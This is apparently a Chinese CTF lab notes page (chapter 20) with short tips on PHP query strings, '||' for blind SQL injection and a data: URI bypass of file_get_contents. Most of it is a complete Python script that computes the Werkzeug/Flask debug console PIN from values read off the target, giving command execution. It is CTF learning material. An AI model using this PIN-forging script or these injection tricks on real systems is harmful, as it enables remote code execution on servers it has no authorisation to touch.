[靶场笔记]第二十章
$_SERVER[‘QUERY_STRING’] 接收url中?后面面的内容,如果你传index.php?a=1&b=2,此时这个变量就是a=1&b=2 ||替代or 在盲注时可以用 file_get_contents($text,‘r’) 写题的时候看到的….原句如下 file_get_contents($text,'r')==="welcome to the 504sys" 研究后发现这个’r’并没有什么用,直接data:text/plain,welcome to the 504sys秒了 flask_pin 经常在flask题碰到/console路径下的命令执行界面,但不知道怎么利用,刚好碰到一题,记录一下 /console是werzeug带的,需要在flask的debug模式下才有这个页面 需要结合文件读取,将下面带注释的地方贴上从靶机读出来的内容即可 import hashlib from itertools import chain probably_public_bits = [ 'root',# username,读/etc/passwd或/proc/1/environ 'flask.app',# modname,默认 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径,在flask报错页面就有 ] private_bits = [ '2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33(eth0)/address 'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接 ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 有关flask pin码的生成分析可以看这里,Werkzeug更新带来的Flask debug pin码生成方式改变看这里 ...